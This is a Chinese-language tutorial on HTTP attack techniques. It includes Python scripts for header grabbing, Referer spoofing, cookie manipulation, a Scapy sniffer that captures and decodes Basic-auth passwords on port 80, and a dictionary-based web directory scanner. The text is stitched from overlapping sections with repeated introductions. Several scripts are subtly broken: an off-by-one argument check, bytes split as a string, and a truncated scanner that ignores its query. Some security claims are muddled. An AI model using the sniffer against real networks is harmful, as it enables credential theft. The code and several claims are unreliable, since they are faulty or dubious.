HTTP 協定是現代網路服務的根本,但其設計之初並未充分考慮安全性,因此衍生出許多攻擊手法。瞭解這些攻擊技術並採取相應的防禦措施,對於保障網頁安全至關重要。本文將從 HTTP 協定概述開始,逐步探討各種攻擊手法,例如利用 TRACE 方法進行跨站指令碼攻擊、透過操控 Referer 標頭繞過安全限制、竊取或竄改 Cookie 資訊等。此外,文章也將探討 Web 服務安全議題,涵蓋 REST、XML-RPC、SOAP 等協定,並分析 JSON 資料交換格式在 Web 服務中的應用及其安全性。文章將提供 Python 程式碼範例,示範如何擷取 HTTP 標頭、進行 Referer 欺騙和 Cookie 操作等攻擊行為,幫助讀者更深入地理解這些技術的運作機制。最後,文章將討論 Webserver 掃描技術,說明如何利用字典檔案查詢 Webserver 上隱藏的檔案或目錄,並提出相應的防範措施,例如使用 HTTPS、強驗證機制、定期掃描和組態合理的 Cookie 機制等。

網頁安全防護:深入瞭解 HTTP Hacks

在當今數位時代,Hyper Text Transfer Protocol(HTTP)無疑是最為人熟知的網際網路協定。幾乎所有的網頁服務,從資訊網站、購物平台、搜尋引擎到電子郵件服務、論壇、辦公軟體、Wiki、部落格、行事曆,甚至社交網路和即時通訊軟體,都依賴於HTTP來傳輸資料。甚至有如Google Chrome OS這類別完全根據網頁應用程式的作業系統,其資料全都儲存在雲端。因此,大多數的網路攻擊目前都針對這些網頁應用程式,而瀏覽器也成為攻擊者的首選工具。這些現象足以說明為什麼我們需要更深入瞭解網頁安全。

7.1 HTTP 協定概述

HTTP 是一種無狀態的純文字協定,每個請求都是獨立的,並且以簡單文字格式傳送。這使得我們可以輕鬆模擬一個「瀏覽器」來進行請求。例如,我們可以使用 Telnet 或 Netcat 工具連線到某個伺服器的 80 埠,並傳送以下請求:

telnet www.codekid.net 80
GET / HTTP/1.0

按下回車鍵後,伺服器會回傳回應,就像你使用一般瀏覽器傳送請求一樣。讓我們來看看這裡到底發生了什麼。

GET 是 HTTP 請求方法之一

除了 GET 外,HTTP 還有其他請求方法(如表 7.1 所示)。GET 用於請求資源,而 POST 則用於傳送資料到伺服器。POST 請求保證只傳送一次或在重新傳送前詢問使用者意願。此外,HTTP 1.0 還定義了 HEAD 方法,它實作了不期望內容主體(如 HTML 頁面或影像)的 GET 方法。

HTTP 1.1 則引入了五個新方法:PUT 用於建立或更新資源、DELETE 用於刪除資源、OPTIONS 用於請求可用方法和其他屬性(如可用內容編碼)、TRACE 用於除錯目的以及 CONNECT 用於讓伺服器開啟到另一個伺服器或代理的連線。

TRACE 和 CONNECT 的安全隱患

TRACE 應該始終在你的伺服器上停用,因為攻擊者可以利用它來實施跨站指令碼攻擊(Cross-Site Scripting, XSS)。此外,HTTP 1.1 請求必須包含 Host 標頭。

對於 HTTPS 伺服器,可以使用 OpenSSL 的 s_client 指令來傳送請求:

openssl s_client -connect www.codekid.net:443

表 7.1 HTTP 請求方法

Method描述
GET請求資源
POST傳送資料以儲存或更新伺服器上的資料
HEAD接收請求標頭但不接收內容主體
PUT建立或更新資源
DELETE刪除資源
OPTIONS列出伺服器支援的所有方法、內容型別和編碼
TRACE傳回輸入作為輸出
CONNECT將此伺服器/代理連線到另一個 HTTP 伺服器/代理

其他標頭選項

除了必要的 Host 標頭外,還有其他可選標頭可供使用。例如,Connection 標頭可以告訴伺服器我們將傳送其他請求並不希望在本次請求後關閉連線。Content-Length 定義內容主體的長度(以位元組為單位),而 Content-Type 則定義 MIME 型別。

Referer 標頭包含生成此請求的 URL,Authorization 用於 HTTP-Auth 的登入功能(基本模式僅使用 Base64 編碼但不加密使用者名稱/密碼組合),而 Cookie 則包含所有需要傳回給伺服器的 Cookie 資料。

Cookie 是名稱/值對,由伺服器要求客戶端儲存並在每次請求時傳回。更多關於 Cookie 操作的內容可參考第七章關於 Cookie 操作部分。

Basic Mode HTTP 認證

基本模式 HTTP 認證僅使用 Base64 編碼但不加密使用者名稱/密碼組合。為了真正的安全性,應該使用 Digest Access Authentication!

HTTP 回應概述

圖片 7.2 展示了一個典型的 HTTP 回應。除了 HTTP 型別外,固定部分還包括狀態碼和狀態訊息。

HTTP 問題碼分類別

HTTP 問題碼分為五大類別:

  • 1xx:指示客戶端應繼續其請求。
  • 2xx:表示成功處理了請求。
  • 3xx:表示需要進一步操作才能完成請求。
  • 4xx:指示客戶端錯誤。
  • 5xx:表示伺服器錯誤。

例如,404 是最常見的狀態碼之一,表示所請求的資源未找到;而 403 則表示未經授權存取。表格 7.2列出了一些重要的 HTTP 問題碼及其描述。

表格 7.2 主要 HTTP 問題碼

Code描述
200請求成功
201資源已新建
301資源永久移動
307資源暫時移動
400無效請求
401需要認證
403拒絕存取
404資源未找到
405不允許該方法
500內部伺服器錯誤

其他重要回應標頭

除了 content-length、content-type 和 content-encoding 外,Location 標頭包含所請求 URL 的位置資訊;Set-Cookie 標頭則用於在客戶端設定 Cookie。

RFCs 自7230至7237中詳細描述了完整的 HTTP協定規範。RFC7231則描述了所有問題碼及相關工具資訊。

HTTP Hacks 的實際案例及技術選型分析

在實際應用中,瞭解HTTP協定及其潛在風險是至關重要的。玄貓曾經在一個電子商務平台專案中遇到了類別似問題:由於HTTP TRACE方法未被停用,導致跨站指令碼攻擊頻繁發生。透過深入分析並停用TRACE方法後問題得到了解決。

技術選型與風險評估

當面對這樣的問題時,技術選型是至關重要的一環。我們選擇了採用Digest Access Authentication取代基本模式認證來提升安全性。同時強制要求所有HTTPS請求都必須包含Host標頭以提升安全性。

未來趨勢與合理預測

隨著技術不斷進步和演變,WebSocketGraphQL 的普及將改變傳統HTTP/HTTPS通訊方式,這些新技術將提供更高效且靈活地資料互動方式。

まとめ:完整分析與改進建議

總結來說,HTTP Hacks 不僅涉及到對協定本身深入理解和技術選型分析,也涉及到具體實踐中的經驗教訓。透過瞭解與修復這些漏洞,我們可以大幅提升系統安全性。每一個專案都是獨特且面臨不同挑戰,透過細緻調查與改進,我們不僅能解決眼前問題,更能為未來發展奠定堅實基礎

HTTP協定攻擊技術深度解析

簡介

隨著網際網路技術的發展,HTTP協定已成為網路通訊的基礎。然而,HTTP的設計原本並不考慮安全性,這使得其成為攻擊者的目標。本文將探討HTTP相關攻擊技術,包括HTTP頭部、參考(Referer)欺騙、Cookie操作以及Web服務攻擊等,並提供實際案例及程式碼範例。

7.2 Web服務

Web服務已成為機器間通訊的主要方式,常見的協定包括REST、XML-RPC及SOAP等。REST利用HTTP方法如GET、PUT及DELETE來實作CRUD操作;XML-RPC則透過XML格式進行遠端呼叫;SOAP則能夠傳輸整個物件。近年來,JSON作為新的資料交換格式也變得越來越普及,許多Web服務都使用JSON-WSP及JSON-RPC協定。

程式碼範例:HTTP頭部擷取工具

#!/usr/bin/env python3
import sys
import requests

if len(sys.argv) < 2:
    print(sys.argv[0] + ": <url>")
    sys.exit(1)

r = requests.get(sys.argv[1])

for field, value in r.headers.items():
    print(field + ": " + value)

內容解密:

這段程式碼使用requests模組來傳送HTTP GET請求。requests.get()函式接受URL作為引數,並傳回一個回應物件。該回應物件的headers屬性包含了一個字典,其中包含了伺服器回應中的所有頭部資訊。程式碼遍歷這些頭部資訊並列印預出來。

7.5 Referer欺騙

Referer頭部是瀏覽器在每個請求中傳送的一個重要資訊,它包含了請求來源的URL。某些Web應用程式會利用這個頭部來判斷請求是否來自內部網路,進而假設使用者已登入。然而,這種做法並不安全,因為Referer頭部可以被輕易操控。

程式碼範例:Referer欺騙

#!/usr/bin/env python3
import sys
import requests

if len(sys.argv) < 2:
    print(sys.argv[0] + ": <url>")
    sys.exit(1)

headers = {'Referer': 'http://www.example.com'}
r = requests.get(sys.argv[1], headers=headers)

print(r.content)

內容解密:

這段程式碼使用requests模組來傳送HTTP GET請求,並附加一個自訂的Referer頭部。requests.get()函式接受URL和自訂的頭部資料作為引數,並傳回一個回應物件。該回應物件的content屬性包含了伺服器回應的主體內容。

7.6 Cookie操作

HTTP是一種無狀態協定,每個請求都是獨立的。然而,開發者可以使用Session ID來追蹤使用者狀態,通常這些ID會儲存在Cookie中。Cookie可以用來記錄使用者偏好、認證狀態甚至敏感資訊。

程式碼範例:Cookie操作

#!/usr/bin/env python3
import sys
import requests

if len(sys.argv) < 3:
    print(sys.argv[0] + ": <url> <key> <value>")
    sys.exit(1)

headers = {'Cookie': sys.argv[2] + '=' + sys.argv[3]}
r = requests.get(sys.argv[1], headers=headers)

print(r.content)

內容解密:

這段程式碼使用requests模組來傳送HTTP GET請求,並附加一個自訂的Cookie頭部。Cookie由鍵值對組成,並以分號分隔。伺服器使用Set-Cookie頭部來要求客戶端儲存Cookie。這段程式碼顯示如何操控Cookie以達到特定目的。

推薦閱讀與研究

  • RESTful API設計:探討如何設計安全且高效的RESTful API。
  • Web服務安全最佳實踐:瞭解如何保護Web服務免受常見攻擊。
  • Cookie管理與安全:探討Cookie在Web安全中的角色及其管理方式。

透過深入研究和實踐,讀者可以更好地掌握HTTP協定相關技術,並在實際應用中提升系統安全性。

HTTP 通訊攻擊技術

HTTP 作為最常用的網頁通訊協定,其安全性問題一直是網路安全研究者的關注焦點。以下將探討 HTTP 中的一些常見攻擊技術,並提供具體的案例和防範措施。

HTTP 傳輸內容簡介

HTTP 傳輸內容中的 Cookie 是最常見的資料存取方式之一。每個 Cookie 都有其生命週期,有些僅在當前會話中有效,而有些則在特定時間後過期。如果沒有指定過期時間,Cookie 則會在會話結束後自動刪除。

當你在 Cookie 資料中看到「Secure」這個標籤時,這意味著這個 Cookie 只能透過 HTTPS 連線進行傳輸。然而,這並不意味著它更安全,因為 HTTPS 只保護了傳輸過程中的資料,並不能防止資料被篡改。

完全停用 Cookie 會導致一些網站無法正常使用。因此,建議使用瀏覽器外掛來選擇性地允許或拒絕 Cookie。例如,Firefox 上有一個叫「Cookie Monster」的外掛,可以幫助你管理 Cookie。

HTTP 基本驗證偵測

大多數 HTTP 驗證都是使用基本模式(Basic mode)進行的。許多管理員並不知道,這種模式下的登入資料是以 Base64 編碼的方式進行傳輸,而不是加密。這意味著攻擊者可以很容易地攔截並解碼這些資料。

以下是一個簡單的 Python 指令碼示範如何攔截 HTTP 基本驗證的資料:

#!/usr/bin/env python3

import re
from base64 import b64decode
from scapy.all import sniff

dev = "wlp2s0"

def handle_packet(packet):
    tcp = packet.getlayer("TCP")
    match = re.search(r"Authorization: Basic (.+)", str(tcp.payload))

    if match:
        auth_str = b64decode(match.group(1))
        auth = auth_str.split(":")
        print("User: " + auth[0] + " Pass: " + auth[1])

sniff(iface=dev, store=0, filter="tcp and port 80", prn=handle_packet)

內容解密:

此指令碼使用 Scapy 函式庫來攔截網路流量,並查詢包含「Authorization: Basic」字串的 TCP 資料包。如果找到比對項,則解碼 Base64 編碼的授權字串,並提取使用者名稱和密碼。

為了提高安全性,建議使用摘要驗證(Digest Authentication)來保護你的網頁應用程式。此外,應該優先使用 HTTPS 而不是 HTTP 來保護資料傳輸。

Webserver 掃描技術

大多數 Webserver 都存在某些不應公開的檔案或目錄,但由於組態錯誤而被公開。許多人認為這些隱藏的檔案或目錄無法被發現,因為它們沒有出現在任何網頁上。然而,這種想法是錯誤的。

以下是一個簡單的 Python 指令碼示範如何使用字典檔案來掃描 Webserver 的隱藏檔案或目錄:

#!/usr/bin/env python3

import sys
import getopt
import requests

def usage():
    print(sys.argv[0] + """
    -f <query_file>
    -F (file_mode)
    -h <host>
    -p <port>""")
    sys.exit(0)

def surf(url, query):
    print("GET " + query)
    try:
        r = requests.get(url)
        if r.status_code == 200:
            print("FOUND " + query)
    except requests.exceptions.ConnectionError as e:
        print("Got error for " + url + ": " + str(e))
        sys.exit(1)

query_file = "web-queries.txt"
host = None
port = 80
file_mode = False

try:
    cmd_opts = "f:Fh:p:"
    opts, args = getopt.getopt(sys.argv[1:], cmd_opts)
except getopt.GetoptError:
    usage()

for opt in opts:
    if opt[0] == "-f":
        query_file = opt[1]
    elif opt[0] == "-F":
        file_mode = True
    elif opt[0] == "-h":
        host = opt[1]

內容解密:

此指令碼首先解析命令列引數來取得查詢檔案、目標主機和埠等資訊。然後使用 requests 函式庫來傳送 GET 請求,檢查每個查詢項是否存在於目標 Webserver 上。

自動化與防範措施

針對上述攻擊技術,應該採取以下措施來提高安全性:

  1. 使用 HTTPS:確保所有敏感資料都透過 HTTPS 進行傳輸。
  2. 使用強驗證機制:避免使用基本驗證(Basic Authentication),改用摘要驗證(Digest Authentication)或更安全的 OAuth 認證機制。
  3. 定期掃描 Webserver:使用自動化工具定期掃描 Webserver 的隱藏檔案或目錄。
  4. 組態合理的 Cookie 機制:確保 Cookie 的過期時間和安全屬性設定合理。

自動化工具與策略

為了提高安全性,可以考慮使用自動化工具來定期掃描 Webserver 的隱藏檔案或目錄。例如,可以使用 Chaosmap 工具來生成字典檔案,並配合上述 Python 指令碼進行掃描。

此外,應該定期更新和測試 Webserver 的組態和安全策略,以確保它們能夠抵禦最新的攻擊手法。